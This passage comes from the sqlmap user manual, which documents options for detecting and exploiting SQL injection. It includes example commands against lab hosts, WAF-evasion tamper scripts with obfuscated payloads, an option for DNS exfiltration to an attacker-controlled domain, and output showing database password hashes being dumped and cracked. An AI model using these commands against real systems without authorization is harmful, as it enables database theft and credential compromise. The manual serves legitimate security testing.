Switch: --predict-output

This switch is used in inference algorithm for sequential statistical prediction of characters of value being retrieved. Statistical table with the most promising character values is being built based on items given in txt/common-outputs.txt combined with the knowledge of current enumeration used. In case that the value can be found among the common output values, as the process progresses, subsequent character tables are being narrowed more and more. If used in combination with retrieval of common DBMS entities, as with system table names and privileges, speed up is significant. Of course, you can edit the common outputs file according to your needs if, for instance, you notice common patterns in database table names or similar.

Note that this switch is not compatible with --threads switch.

HTTP Keep-Alive

Switch: --keep-alive

This switch instructs sqlmap to use persistent HTTP(s) connections.

Note that this switch is incompatible with --proxy switch.

HTTP NULL connection

Switch: --null-connection

There are special HTTP request types which can be used to retrieve HTTP response's size without getting the HTTP body. This knowledge can be used in blind injection technique to distinguishTrue from False responses. When this switch is provided, sqlmap will try to test and exploit two different NULL connection techniques: Range and HEAD. If any of these is supported by the target web server, speed up will come from the obvious saving of used bandwidth.

These techniques are detailed in the white paper Bursting Performances in Blind SQL Injection - Take 2 (Bandwidth).

Note that this switch is incompatible with switch --text-only.

Concurrent HTTP(S) requests

Option: --threads

It is possible to specify the maximum number of concurrent HTTP(S) requests that sqlmap is allowed to do. This feature relies on multi-threading concept and inherits both its pro and its cons.

This features applies to the brute-force switches and when the data fetching is done through any of the blind SQL injection techniques. For the latter case, sqlmap first calculates the length of the query output in a single thread, then starts the multi-threading. Each thread is assigned to retrieve one character of the query output. The thread ends when that character is retrieved - it takes up to 7 HTTP(S) requests with the bisection algorithm implemented in sqlmap.

The maximum number of concurrent requests is set to 10 for performance and site reliability reasons.

Note that this option is not compatible with switch --predict-output.

Injection

These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts.

Testable parameter(s)

Options: -p and --skip

By default sqlmap tests all GET parameters and POST parameters. When the value of --level is >= 2 it tests also HTTP Cookie header values. When this value is >= 3 it tests also HTTP User-Agent and HTTP Referer header value for SQL injections. It is however possible to manually specify a comma-separated list of parameter(s) that you want sqlmap to test. This will bypass the dependence on value of --level too.

For instance, to test for GET parameter id and for HTTP User-Agent only, provide -p "id,user-agent".

In case that user wants to exclude certain parameters from testing, he can use option --skip. That is especially useful in cases when you want to use higher value for --level and test all available parameters excluding some of HTTP headers normally being tested.

For instance, to skip testing for HTTP header User-Agent and HTTP header Referer at --level=5, provide --skip="user-agent,referer".

URI injection point

There are special cases when injection point is within the URI itself. sqlmap does not perform any automatic test against URI paths, unless manually pointed to. You have to specify these injection points in the command line by appending an asterisk (*) after each URI point that you want sqlmap to test for and exploit a SQL injection.

This is particularly useful when, for instance, Apache web server's mod_rewrite module is in use or other similar technologies.

An example of valid command line would be:

$ python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"

Force the DBMS

Option: --dbms

By default sqlmap automatically detects the web application's back-end database management system. sqlmap fully supports the following database management systems:

  • MySQL
  • Oracle
  • PostgreSQL
  • Microsoft SQL Server
  • Microsoft Access
  • SQLite
  • Firebird
  • Sybase
  • SAP MaxDB
  • DB2

If for any reason sqlmap fails to detect the back-end DBMS once a SQL injection has been identified or if you want to avoid an active fingeprint, you can provide the name of the back-end DBMS yourself (e.g. postgresql). For MySQL and Microsoft SQL Server provide them respectively in the form MySQL <version> and Microsoft SQL Server <version>, where <version> is a valid version for the DBMS; for instance 5.0 for MySQL and 2005 for Microsoft SQL Server.

In case you provide --fingerprint together with --dbms, sqlmap will only perform the extensive fingerprint for the specified database management system only, read below for further details.

Note that this option is not mandatory and it is strongly recommended to use it only if you are absolutely sure about the back-end database management system. If you do not know it, let sqlmap automatically fingerprint it for you.

Force the database management system operating system name

Option: --os

By default sqlmap automatically detects the web application's back-end database management system underlying operating system when this information is a dependence of any other provided switch or option. At the moment the fully supported operating systems are:

  • Linux
  • Windows

It is possible to force the operating system name if you already know it so that sqlmap will avoid doing it itself.

Note that this option is not mandatory and it is strongly recommended to use it only if you are absolutely sure about the back-end database management system underlying operating system. If you do not know it, let sqlmap automatically identify it for you.

Force usage of big numbers for invalidating values

Switch: --invalid-bignum

In cases when sqlmap needs to invalidate original parameter value (e.g. id=13) it uses classical negation (e.g. id=-13). With this switch it is possible to force the usage of large integer values to fulfill the same goal (e.g. id=99999999).

Force usage of logical operations for invalidating values

Switch: --invalid-logical

In cases when sqlmap needs to invalidate original parameter value (e.g. id=13) it uses classical negation (e.g. id=-13). With this switch it is possible to force the usage of boolean operations to fulfill the same goal (e.g. id=13 AND 18=19).

Force usage of random strings for invalidating values

Switch: --invalid-string

In cases when sqlmap needs to invalidate original parameter value (e.g. id=13) it uses classical negation (e.g. id=-13). With this switch it is possible to force the usage of random strings to fulfill the same goal (e.g. id=akewmc).

Turn off payload casting mechanism

Switch: --no-cast

When retrieving results, sqlmap uses a mechanism where all entries are being casted to string type and replaced with a whitespace character in case of NULL values. That is being made to prevent any erroneous states (e.g. concatenation of NULL values with string values) and to easy the data retrieval process itself. Nevertheless, there are reported cases (e.g. older versions of MySQL DBMS) where this mechanism needed to be turned-off (using this switch) because of problems with data retrieval itself (e.g. None values are returned back).

Turn off string escaping mechanism

Switch: --no-escape

In cases when sqlmap needs to use (single-quote delimited) string values inside payloads (e.g.SELECT 'foobar'), those values are automatically being escaped (e.g. SELECT CHAR(102)+CHAR(111)+CHAR(111)+CHAR(98)+CHAR(97)+CHAR(114)). That is being done because of two things: obfuscation of payload content and preventing potential problems with query escaping mechanisms (e.g. magic_quotes and/or mysql_real_escape_string) at the back-end server. User can use this switch to turn it off (e.g. to reduce payload size).

Custom injection payload

Options: --prefix and --suffix

In some circumstances the vulnerable parameter is exploitable only if the user provides a specific suffix to be appended to the injection payload. Another scenario where these options come handy presents itself when the user already knows that query syntax and want to detect and exploit the SQL injection by directly providing a injection payload prefix and suffix.

Example of vulnerable source code:

$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";

To detect and exploit this SQL injection, you can either let sqlmap detect the boundaries (as in combination of SQL payload prefix and suffix) for you during the detection phase, or provide them on your own.

For example:

  1. $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php\
  2. ?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"
  3. [...]

This will result in all sqlmap requests to end up in a query as follows:

$query = "SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1";

Which makes the query syntactically correct.

In this simple example, sqlmap could detect the SQL injection and exploit it without need to provide custom boundaries, but sometimes in real world application it is necessary to provide it when the injection point is within nested JOIN queries for instance.

Tamper injection data

Option: --tamper

sqlmap itself does no obfuscation of the payload sent, except for strings between single quotes replaced by their CHAR()-alike representation.

This option can be very useful and powerful in situations where there is a weak input validation mechanism between you and the back-end database management system. This mechanism usually is a self-developed input validation routine called by the application source code, an expensive enterprise-grade IPS appliance or a web application firewall (WAF). All buzzwords to define the same concept, implemented in a different way and costing lots of money, usually.

To take advantage of this option, provide sqlmap with a comma-separated list of tamper scripts and this will process the payload and return it transformed. You can define your own tamper scripts, use sqlmap ones from the tamper/ folder or edit them as long as you concatenate them comma-separated as value of the option --tamper (e.g. --tamper="between,randomcase").

The format of a valid tamper script is as follows:

# Needed imports
from lib.core.enums import PRIORITY

# Define which is the order of application of tamper scripts against
# the payload
__priority__ = PRIORITY.NORMAL

def tamper(payload):
    '''
    Description of your tamper script
    '''

    retVal = payload

    # your code to tamper the original payload

    # return the tampered payload
    return retVal

You can check valid and usable tamper scripts in the tamper/ directory.

Example against a MySQL target assuming that > character, spaces and capital SELECT string are banned:

  1. $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --\
  2. tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
  3.  
  4. [hh:mm:03] [DEBUG] cleaning up configuration parameters
  5. [hh:mm:03] [INFO] loading tamper script 'between'
  6. [hh:mm:03] [INFO] loading tamper script 'randomcase'
  7. [hh:mm:03] [INFO] loading tamper script 'space2comment'
  8. [...]
  9. [hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
  10. [hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092
  11. [hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
  12. [hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041
  13. [...]
  14. [hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  15. '
  16. [hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONC
  17. AT(cHar(58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/
  18. **/elsE/**/0/**/ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/info
  19. rmation_schema.tables/**/group/**/bY/**/x)a)
  20. [hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or
  21.  HAVING clause' injectable 
  22. [...]

Detection

These options can be used to customize the detection phase.

Level

Option: --level

This option requires an argument which specifies the level of tests to perform. There are five levels. The default value is 1 where limited number of tests (requests) are performed. Vice versa, level 5will test verbosely for a much larger number of payloads and boundaries (as in pair of SQL payload prefix and suffix). The payloads used by sqlmap are specified in the textual file xml/payloads.xml. Following the instructions on top of the file, if sqlmap misses an injection, you should be able to add your own payload(s) to test for too!

Not only this option affects which payload sqlmap tries, but also which injection points are taken in exam: GET and POST parameters are always tested, HTTP Cookie header values are tested from level 2 and HTTP User-Agent/Referer headers' value is tested from level 3.

All in all, the harder it is to detect a SQL injection, the higher the --level must be set.

It is strongly recommended to higher this value before reporting to the mailing list that sqlmap is not able to detect a certain injection point.

Risk

Option: --risk

This option requires an argument which specifies the risk of tests to perform. There are four risk values. The default value is 1 which is innocuous for the majority of SQL injection points. Risk value 2 adds to the default level the tests for heavy query time-based SQL injections and value 3 adds also OR-based SQL injection tests.

In some instances, like a SQL injection in an UPDATE statement, injecting an OR-based payload can lead to an update of all the entries of the table, which is certainly not what the attacker wants. For this reason and others this option has been introduced: the user has control over which payloads get tested, the user can arbitrarily choose to use also potentially dangerous ones. As per the previous option, the payloads used by sqlmap are specified in the textual file xml/payloads.xmland you are free to edit and add your owns.

Page comparison

Options: --string, --not-string, --regexp and --code

By default the distinction of a True query from a False one (rough concept behind boolean-based blind SQL injection vulnerabilities) is done by comparing the injected requests page content with the original not injected page content. Not always this concept works because sometimes the page content changes at each refresh even not injecting anything, for instance when the page has a counter, a dynamic advertisement banner or any other part of the HTML which is rendered dynamically and might change in time not only consequently to user's input. To bypass this limit, sqlmap tries hard to identify these snippets of the response bodies and deal accordingly. Sometimes it may fail, that is why the user can provide a string (--string option) which should be present on original page (though it is not a requirement) and on all True injected query pages, but that it is not on the False ones. Instead of static string, the user can provide a regular expression (--regexp option). Alternatively, user can provide a string (--not-string option) which is notpresent on original page and not on all True injected query pages, but appears always on False ones.

Such data is easy for an user to retrieve, simply try to inject into the affected parameter an invalid value and compare manually the original (not injected) page content with the injected wrong page content. This way the distinction will be based upon string presence or regular expression match.

In cases when user knows that the distinction of a True query from a False one can be done using HTTP code (e.g. 200 for True and 401 for False), he can provide that information to sqlmap (e.g. --code=200).

Switches: --text-only and --titles

In cases when user knows that the distinction of a True query from a False one can be done using HTML title (e.g. Welcome for True and Forbidden for False), he can turn turn on title-based comparison using switch --titles.

In cases with lot of active content (e.g. scripts, embeds, etc.) in the HTTP responses' body, you can filter pages (switch --text-only) just for their textual content. This way, in a good number of cases, you can automatically tune the detection engine.

Techniques

These options can be used to tweak testing of specific SQL injection techniques.

SQL injection techniques to test for

Option: --technique

This option can be used to specify which SQL injection type to test for. By default sqlmap tests forall types/techniques it supports.

In certain situations you may want to test only for one or few specific types of SQL injection thought and this is where this option comes into play.

This option requires an argument. Such argument is a string composed by any combination of B,E, U, S, T and Q characters where each letter stands for a different technique:

  • B: Boolean-based blind
  • E: Error-based
  • U: Union query-based
  • S: Stacked queries
  • T: Time-based blind
  • Q: Inline queries

For instance, you can provide ES if you want to test for and exploit error-based and stacked queries SQL injection types only. The default value is BEUSTQ.

Note that the string must include stacked queries technique letter, S, when you want to access the file system, takeover the operating system or access Windows registry hives.

Seconds to delay the DBMS response for time-based blind SQL injection

Option: --time-sec

It is possible to set the seconds to delay the response when testing for time-based blind SQL injection, by providing the --time-sec option followed by an integer. By default it's value is set to5 seconds.

Number of columns in UNION query SQL injection

Option: --union-cols

By default sqlmap tests for UNION query SQL injection technique using 1 to 10 columns. However, this range can be increased up to 50 columns by providing an higher --level value. See the relevant paragraph for more details.

You can manually tell sqlmap to test for this type of SQL injection with a specific range of columns by providing the tool with the option --union-cols followed by a range of integers. For instance,12-16 means tests for UNION query SQL injection by using 12 up to 16 columns.

Character to use to test for UNION query SQL injection

Option: --union-char

By default sqlmap tests for UNION query SQL injection technique using NULL character. However, by providing a higher --level value sqlmap will performs tests also with a random number because there are some corner cases where UNION query tests with NULL fail, whereas with a random integer they succeed.

You can manually tell sqlmap to test for this type of SQL injection with a specific character by using option --union-char with desired character value (e.g. --union-char 123).

Table to use in FROM part of UNION query SQL injection

Option: --union-from

In some UNION query SQL injection cases there is a need to enforce the usage of valid and accessible table name in FROM clause. For example, Microsoft Access requires usage of such table. Without providing one UNION query SQL injection won't be able to perform correctly (e.g. --union-from=users).

DNS exfiltration attack

Option: --dns-domain

DNS exfiltration SQL injection attack is described in paper Data Retrieval over DNS in SQL Injection Attacks, while presentation of it's implementation inside sqlmap can be found in slides DNS exfiltration using sqlmap.

If user is controlling a machine registered as a DNS domain server (e.g. domain attacker.com) he can turn on this attack by using this option (e.g. --dns-domain attacker.com). Prerequisites for it to work is to run a sqlmap with Administrator privileges (usage of privileged port 53) and that one normal (blind) technique is available for exploitation. That's solely the purpose of this attack is to speed up the process of data retrieval in case that at least one technique has been identified (in best case time-based blind). In case that error-based blind or UNION query techniques are available it will be skipped as those are preferred ones by default.

Second-order attack

Option: --second-order

Second-order SQL injection attack is an attack where result(s) of an injected payload in one vulnerable page is shown (reflected) at the other (e.g. frame). Usually that's happening because of database storage of user provided input at the original vulnerable page.

You can manually tell sqlmap to test for this type of SQL injection by using option --second-orderwith the URL address of the web page where results are being shown.

Fingerprint

Extensive database management system fingerprint

Switches: -f or --fingerprint

By default the web application's back-end database management system fingerprint is handled automatically by sqlmap. Just after the detection phase finishes and the user is eventually prompted with a choice of which vulnerable parameter to use further on, sqlmap fingerprints the back-end database management system and continues on with the injection by knowing which SQL syntax, dialect and queries to use to proceed with the attack within the limits of the database architecture.

If for any instance you want to perform an extensive database management system fingerprint based on various techniques like specific SQL dialects and inband error messages, you can provide the switch --fingerprint. sqlmap will perform a lot more requests and fingerprint the exact DBMS version and, where possible, operating system, architecture and patch level.

If you want the fingerprint to be even more accurate result, you can also provide the switch -b or--banner.

Enumeration

These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements.

Retrieve all

Switch: --all

This switch can be used in situations where user wants to retrieve everything remotelly accessible by using a single switch. This is not recommended as it will generate large number of requests retrieving both useful and unuseful data.

Banner

Switch: -b or --banner

Most of the modern database management systems have a function and/or an environment variable which returns the database management system version and eventually details on its patch level, the underlying system. Usually the function is version() and the environment variable is @@version, but this vary depending on the target DBMS.

Example against an Oracle target:

  1. $ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" -\
  2. -banner
  3.  
  4. [...]
  5. [xx:xx:11] [INFO] fetching banner
  6. web application technology: PHP 5.2.6, Apache 2.2.9
  7. back-end DBMS: Oracle
  8. banner:    'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

Session user

Switch: --current-user

With this switch it is possible to retrieve the database management system's user which is effectively performing the query against the back-end DBMS from the web application.

Current database

Switch: --current-db

With this switch it is possible to retrieve the database management system's database name that the web application is connected to.

Server hostname

Switch: --hostname

With this switch it is possible to retrieve the database management system's hostname.

Example against a MySQL target:

  1. $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --\
  2. hostname
  3.  
  4. [...]
  5. [xx:xx:04] [INFO] fetching server hostname
  6. [xx:xx:04] [INFO] retrieved: debian-5.0-i386
  7. hostname:    'debian-5.0-i386'

Detect whether or not the session user is a database administrator

Switch: --is-dba

It is possible to detect if the current database management system session user is a database administrator, also known as DBA. sqlmap will return True if it is, vice versa False.

List database management system users

Switch: --users

When the session user has read access to the system table containing information about the DBMS users, it is possible to enumerate the list of users.

List and crack database management system users password hashes

Switch: --passwords

When the session user has read access to the system table containing information about the DBMS users' passwords, it is possible to enumerate the password hashes for each database management system user. sqlmap will first enumerate the users, then the different password hashes for each of them.

Example against a PostgreSQL target:

  1. $ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --\
  2. passwords -v 1
  3.  
  4. [...]
  5. back-end DBMS: PostgreSQL
  6. [hh:mm:38] [INFO] fetching database users password hashes
  7. do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
  8. [hh:mm:42] [INFO] using hash method: 'postgres_passwd'
  9. what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt] 
  10. [hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
  11. do you want to use common password suffixes? (slow!) [y/N] n
  12. [hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
  13. [hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
  14. [hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
  15. database management system users password hashes:
  16. [*] postgres [1]:
  17.     password hash: md5d7d880f96044b72d0bba108ace96d1e4
  18.     clear-text password: testpass
  19. [*] testuser [1]:
  20.     password hash: md599e5ea7a6f7c3269995cba3927fd0093
  21.     clear-text password: testpass

Not only sqlmap enumerated the DBMS users and their passwords, but it also recognized the hash format to be PostgreSQL, asked the user whether or not to test the hashes against a dictionary file and identified the clear-text password for the postgres user, which is usually a DBA along the other user, testuser, password.

This feature has been implemented for all DBMS where it is possible to enumerate users' password hashes, including Oracle and Microsoft SQL Server pre and post 2005.

You can also provide the option -U to specify the specific user who you want to enumerate and eventually crack the password hash(es). If you provide CU as username it will consider it as an alias for current user and will retrieve the password hash(es) for this user.

List database management system users privileges

Switch: --privileges

When the session user has read access to the system table containing information about the DBMS users, it is possible to enumerate the privileges for each database management system user. By the privileges, sqlmap will also show you which are database administrators.

You can also provide the option -U to specify the user who you want to enumerate the privileges.

If you provide CU as username it will consider it as an alias for current user and will enumerate the privileges for this user.

On Microsoft SQL Server, this feature will display you whether or not each user is a database administrator rather than the list of privileges for all users.

List database management system users roles

Switch: --roles

When the session user has read access to the system table containing information about the DBMS users, it is possible to enumerate the roles for each database management system user.

You can also provide the option -U to specify the user who you want to enumerate the privileges.

If you provide CU as username it will consider it as an alias for current user and will enumerate the privileges for this user.

This feature is only available when the DBMS is Oracle.

List database management system's databases

Switch: --dbs

When the session user has read access to the system table containing information about available databases, it is possible to enumerate the list of databases.

Enumerate database's tables

Switches and option: --tables, --exclude-sysdbs and -D

When the session user has read access to the system table containing information about databases' tables, it is possible to enumerate the list of tables for a specific database management system's databases.

If you do not provide a specific database with option -D, sqlmap will enumerate the tables for all DBMS databases.

You can also provide the switch --exclude-sysdbs to exclude all system databases.

Note that on Oracle you have to provide the TABLESPACE_NAME instead of the database name.

Enumerate database table columns

Switch and options: --columns, -C, -T and -D

When the session user has read access to the system table containing information about database's tables, it is possible to enumerate the list of columns for a specific database table. sqlmap also enumerates the data-type for each column.

This feature depends on option -T to specify the table name and optionally on -D to specify the database name. When the database name is not specified, the current database name is used. You can also provide the -C option to specify the table columns name like the one you provided to be enumerated.

Example against a SQLite target:

  1. $ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" -\
  2. -columns -D testdb -T users -C name
  3. [...]
  4. Database: SQLite_masterdb
  5. Table: users
  6. [3 columns]
  7. +---------+---------+
  8. | Column  | Type    |
  9. +---------+---------+
  10. | id      | INTEGER |
  11. | name    | TEXT    |
  12. | surname | TEXT    |
  13. +---------+---------+

Note that on PostgreSQL you have to provide public or the name of a system database. That's because it is not possible to enumerate other databases tables, only the tables under the schema that the web application's user is connected to, which is always aliased by public.

Enumerate database management system schema

Switches: --schema and --exclude-sysdbs

User can retrieve a DBMS schema by using this switch. Schema listing will contain all databases, tables and columns, together with their respective types. In combination with --exclude-sysdbsonly part of the schema containing non-system databases will be retrieved and shown.

Example against a MySQL target:

  1. $ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --s\
  2. chema--batch --exclude-sysdbs
  3.  
  4. [...]
  5. Database: owasp10
  6. Table: accounts
  7. [4 columns]
  8. +-------------+---------+
  9. | Column      | Type    |
  10. +-------------+---------+
  11. | cid         | int(11) |
  12. | mysignature | text    |
  13. | password    | text    |
  14. | username    | text    |
  15. +-------------+---------+
  16.  
  17. Database: owasp10
  18. Table: blogs_table
  19. [4 columns]
  20. +--------------+----------+
  21. | Column       | Type     |
  22. +--------------+----------+
  23. | date         | datetime |
  24. | blogger_name | text     |
  25. | cid          | int(11)  |
  26. | comment      | text     |
  27. +--------------+----------+
  28.  
  29. Database: owasp10
  30. Table: hitlog
  31. [6 columns]
  32. +----------+----------+
  33. | Column   | Type     |
  34. +----------+----------+
  35. | date     | datetime |
  36. | browser  | text     |
  37. | cid      | int(11)  |
  38. | hostname | text     |
  39. | ip       | text     |
  40. | referer  | text     |
  41. +----------+----------+
  42.  
  43. Database: testdb
  44. Table: users
  45. [3 columns]
  46. +---------+---------------+
  47. | Column  | Type          |
  48. +---------+---------------+
  49. | id      | int(11)       |
  50. | name    | varchar(500)  |
  51. | surname | varchar(1000) |
  52. +---------+---------------+
  53. [...]

Retrieve number of entries for table(s)

Switch: --count

In case that user wants just to know the number of entries in table(s) prior to dumping the desired one, he can use this switch.

Example against a Microsoft SQL Server target:

  1. $ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"\
  2.  --count -D testdb
  3. [...]
  4. Database: testdb
  5. +----------------+---------+
  6. | Table          | Entries |
  7. +----------------+---------+
  8. | dbo.users      | 4       |
  9. | dbo.users_blob | 2       |
  10. +----------------+---------+

Dump database table entries

Switch and options: --dump, -C, -T, -D, --start, --stop, --first, --last, --pivot-columnand --where

When the session user has read access to a specific database's table it is possible to dump the table entries.

This functionality depends on option -T to specify the table name and optionally on option -D to specify the database name. If the table name is provided, but the database name is not, the current database name is used.

Example against a Firebird target:

  1. $ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1"\
  2.  --dump -T users
  3. [...]
  4. Database: Firebird_masterdb
  5. Table: USERS
  6. [4 entries]
  7. +----+--------+------------+
  8. | ID | NAME   | SURNAME    |
  9. +----+--------+------------+
  10. | 1  | luther | blisset    |
  11. | 2  | fluffy | bunny      |
  12. | 3  | wu     | ming       |
  13. | 4  | NULL   | nameisnull |
  14. +----+--------+------------+

This switch can also be used to dump all tables' entries of a provided database. You simply have to provide sqlmap with the switch --dump along with only the option -D (no -T and no -C).

You can also provide a comma-separated list of the specific columns to dump with the option -C.

sqlmap also generates for each table dumped the entries in a CSV format textual file. You can see the absolute path where sqlmap creates the file by providing a verbosity level greater than or equal to 1.

If you want to dump only a range of entries, then you can provide options --start and/or --stopto respectively start to dump from a certain entry and stop the dump at a certain entry. For instance, if you want to dump only the first entry, provide --stop 1 in your command line. Vice versa if, for instance, you want to dump only the second and third entry, provide --start 1 --stop 3.

It is also possible to specify which single character or range of characters to dump with options --first and --last. For instance, if you want to dump columns' entries from the third to the fifth character, provide --first 3 --last 5. This feature only applies to the blind SQL injection techniques because for error-based and UNION query SQL injection techniques the number of requests is exactly the same, regardless of the length of the column's entry output to dump.

Sometimes (e.g. for Microsoft SQL Server, Sybase and SAP MaxDB) it is not possible to dump the table rows straightforward by using OFFSET m, n mechanism because of lack of similar. In such cases sqlmap dumps the content by determining the most suitable pivot column (the one with most unique values) whose values are used later on for retrieval of other column values. If it is necessary to enforce the usage of particular pivot column because the automatically chosen one is not suitable (e.g. because of lack of table dump results) you can use option --pivot-column (e.g.--pivot-column=id).

In case that you want to constraint the dump to specific column values (or ranges) you can use option --where. Provided logical operation will be automatically used inside the WHERE clause. For example, if you use --where="id>3" only table rows having value of column id greater than 3 will be retrieved (by appending WHERE id>3 to used dumping queries).

As you may have noticed by now, sqlmap is flexible: you can leave it to automatically dump the whole database table or you can be very precise in which characters to dump, from which columns and which range of entries.

Dump all databases tables entries

Switches: --dump-all and --exclude-sysdbs

It is possible to dump all databases tables entries at once that the session user has read access on.

You can also provide the switch --exclude-sysdbs to exclude all system databases. In that case sqlmap will only dump entries of users' databases tables.

Note that on Microsoft SQL Server the master database is not considered a system database because some database administrators use it as a users' database.

Search for columns, tables or databases

Switch and options: --search, -C, -T, -D

This switch allows you to search for specific database names, specific tables across all databases or specific columns across all databases' tables.

This is useful, for instance, to identify tables containing custom application credentials where relevant columns' names contain string like name and pass.

Switch --search needs to be used in conjunction with one of the following support options:

  • -C following a list of comma-separated column names to look for across the whole database management system.
  • -T following a list of comma-separated table names to look for across the whole database management system.
  • -D following a list of comma-separated database names to look for across the database management system.

Run custom SQL statement

Option and switch: --sql-query and --sql-shell

The SQL query and the SQL shell features allow to run arbitrary SQL statements on the database management system. sqlmap automatically dissects the provided statement, determines which technique is appropriate to use to inject it and how to pack the SQL payload accordingly.

If the query is a SELECT statement, sqlmap will retrieve its output. Otherwise it will execute the query through the stacked query SQL injection technique if the web application supports multiple statements on the back-end database management system. Beware that some web application technologies do not support stacked queries on specific database management systems. For instance, PHP does not support stacked queries when the back-end DBMS is MySQL, but it does support when the back-end DBMS is PostgreSQL.

Examples against a Microsoft SQL Server 2000 target:

  1. $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --\
  2. sql-query "SELECT 'foo'" -v 1
  3.  
  4. [...]
  5. [hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
  6. [hh:mm:14] [INFO] retrieved: foo
  7. SELECT 'foo':    'foo'
  8.  
  9. $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --\
  10. sql-query "SELECT 'foo', 'bar'" -v 2
  11.  
  12. [...]
  13. [hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
  14. [hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now 
  15. unpack it into distinct queries to be able to retrieve the output even if we are
  16.  going blind
  17. [hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS 
  18. VARCHAR(8000)), (CHAR(32)))
  19. [hh:mm:50] [INFO] retrieved: foo
  20. [hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
  21. [hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VA
  22. RCHAR(8000)), (CHAR(32)))
  23. [hh:mm:50] [INFO] retrieved: bar
  24. [hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
  25. SELECT 'foo', 'bar':    'foo, bar'

As you can see, sqlmap splits the provided query into two different SELECT statements then retrieves the output for each separate query.

If the provided query is a SELECT statement and contains a FROM clause, sqlmap will ask you if such statement can return multiple entries. In that case the tool knows how to unpack the query correctly to count the number of possible entries and retrieve its output, entry per entry.

The SQL shell option allows you to run your own SQL statement interactively, like a SQL console connected to the database management system. This feature provides TAB completion and history support too.

Brute force

These switches can be used to run brute force checks.

Brute force tables names

Switch: --common-tables

There are cases where switch --tables can not be used to retrieve the databases' table names. These cases usually fit into one of the following categories:

  • The database management system is MySQL < 5.0 where information_schema is not available.
  • The database management system is Microsoft Access and system table MSysObjects is not readable - default setting.
  • The session user does not have read privileges against the system table storing the scheme of the databases.

If any of the first two cases apply and you provided the switch --tables, sqlmap will prompt you with a question to fall back to this technique. Either of these cases apply to your situation, sqlmap can possibly still identify some existing tables if you provide it with the switch --common-tables. sqlmap will perform a brute-force attack in order to detect the existence of common tables across the DBMS.

The list of common table names is txt/common-tables.txt and you can edit it as you wish.

Example against a MySQL 4.1 target:

  1. $ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --commo\
  2. n-tables -D testdb --banner
  3.  
  4. [...]
  5. [hh:mm:39] [INFO] testing MySQL
  6. [hh:mm:39] [INFO] confirming MySQL
  7. [hh:mm:40] [INFO] the back-end DBMS is MySQL
  8. [hh:mm:40] [INFO] fetching banner
  9. web server operating system: Windows
  10. web application technology: PHP 5.3.1, Apache 2.2.14
  11. back-end DBMS operating system: Windows
  12. back-end DBMS: MySQL < 5.0.0
  13. banner:    '4.1.21-community-nt'
  14.  
  15. [hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/tx
  16. t/common-tables.txt'
  17. [hh:mm:40] [INFO] adding words used on web page to the check list
  18. please enter number of threads? [Enter for 1 (current)] 8
  19. [hh:mm:43] [INFO] retrieved: users
  20.  
  21. Database: testdb
  22. [1 table]
  23. +-------+
  24. | users |
  25. +-------+

Brute force columns names

Switch: --common-columns

As per tables, there are cases where switch --columns can not be used to retrieve the databases' tables' column names. These cases usually fit into one of the following categories:

  • The database management system is MySQL < 5.0 where information_schema is not available.
  • The database management system is Microsoft Access where this kind of information is not available inside system tables.
  • The session user does not have read privileges against the system table storing the scheme of the databases.

If any of the first two cases apply and you provided the switch --columns, sqlmap will prompt you with a question to fall back to this technique. Either of these cases apply to your situation, sqlmap can possibly still identify some existing tables if you provide it with the switch --common-columns. sqlmap will perform a brute-force attack in order to detect the existence of common columns across the DBMS.

The list of common table names is txt/common-columns.txt and you can edit it as you wish.

User-defined function injection

These options can be used to create custom user-defined functions.

